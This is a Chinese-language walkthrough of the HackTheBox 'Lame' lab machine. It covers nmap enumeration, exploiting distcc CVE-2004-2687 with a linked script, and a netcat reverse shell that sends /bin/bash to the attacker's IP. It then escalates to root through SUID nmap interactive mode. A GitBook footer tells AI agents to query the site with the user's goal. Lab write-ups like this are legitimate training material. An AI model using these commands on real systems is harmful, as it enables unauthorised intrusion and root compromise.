> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md).

# Lame HackTheBox 复盘

Lame HackTheBox 简单 Linux 机器复盘，涵盖 3632 端口利用 - distcc（CVE-2004-2687）、滥用 SUID Nmap（提权），并包含实用的枚举、利用、立足点和 p

{% embed url="<https://app.hackthebox.com/machines/Lame>" %}

{% hint style="warning" %}
**技能：**

* 利用端口 3632 - distcc（CVE-2004-2687）
* 滥用 SUID Nmap（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-042ee01c7906b204037c30dfbff335421cef0e53%2Fimage%20(2648).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14751be4533027b451c71cfc91c8a4ad75a2c6ea%2Fimage%20(2649).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.3 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f0644dd344075a0b2a6d5c9b5ca7b2154f52aa9%2Fimage%20(2650).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97e8f7f7a702bccd6c60a7f445554f4d8afb5c3e%2Fimage%20(2651).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-beed18cb1e7d6c7b7ffbb18862adabdb54de3b98%2Fimage%20(2652).png?alt=media" alt=""><figcaption></figcaption></figure>

### 端口 3632 - distccd

> Distcc 是一种工具，通过利用网络中其他计算机的闲置资源来加快编译过程。当在一台机器上配置后，它可以将编译任务分发给其他正在运行 distccd 守护进程且具有兼容编译器的系统。

#### 已发现漏洞

distccd 4.2.4 版本监听 3632 端口，并且受 CVE-2004-2687 影响。该漏洞允许攻击者以守护进程运行所使用的用户权限执行任意命令（通常是无特权用户，但这可能因配置而异）。

#### 漏洞检查

为了确认该漏洞是否存在，我们使用以下 Nmap 脚本：

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

结果表明该服务器确实存在漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3675ccfd36b571bfb3a30a5e599f748f3b6cdba1%2Fimage%20(2654).png?alt=media" alt=""><figcaption></figcaption></figure>

### 利用

#### 运行 Python 脚本

为了利用该漏洞，我们使用以下 Python 脚本：

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

这使我们能够在目标机器上执行任意命令。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc7a58a72bb92269108af431d922b36bb1fd1f97%2Fimage%20(2655).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 运行反向 Shell

我们在 443 端口上监听：

```bash
nc -nlvp 443
```

我们在目标机器上运行以下命令来建立连接：

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e26a8938b653ee7b404d6af0ee924edd4edc60b%2Fimage%20(2656).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 终端处理

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87cde28a6d1f5bb27d3edd850bc36e200d565610%2Fimage%20(2657).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### SUID - Nmap

#### 查找 SUID 文件

我们使用以下命令搜索已启用 SUID 位的文件：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-768880ffb69a9b46634b59b8b4b0f097504dcdbe%2Fimage%20(886).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Nmap 识别

在列出的文件中，我们找到 **Nmap**.

#### 利用

Nmap 可以在交互模式下用于以 root 身份运行命令。步骤如下：

以交互模式启动 Nmap：

```bash
nmap --interactive
```

以 root 身份运行命令，例如：

```bash
!whoami
```

这会输出“root”。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8859120fd63b09ee23f12c2098d0adc64cf1f855%2Fimage%20(887).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

获取一个 root shell：

```bash
!sh
```

一旦进入 root shell，访问 **root.txt** 用于获取 flag 的文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb11168522be7bfddf7cc8a03df508b801a6d843%2Fimage%20(888).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-298b22537df2d88383b6fb6ae3884e8c93fd4eb3%2Fimage%20(889).png?alt=media" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/lame-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
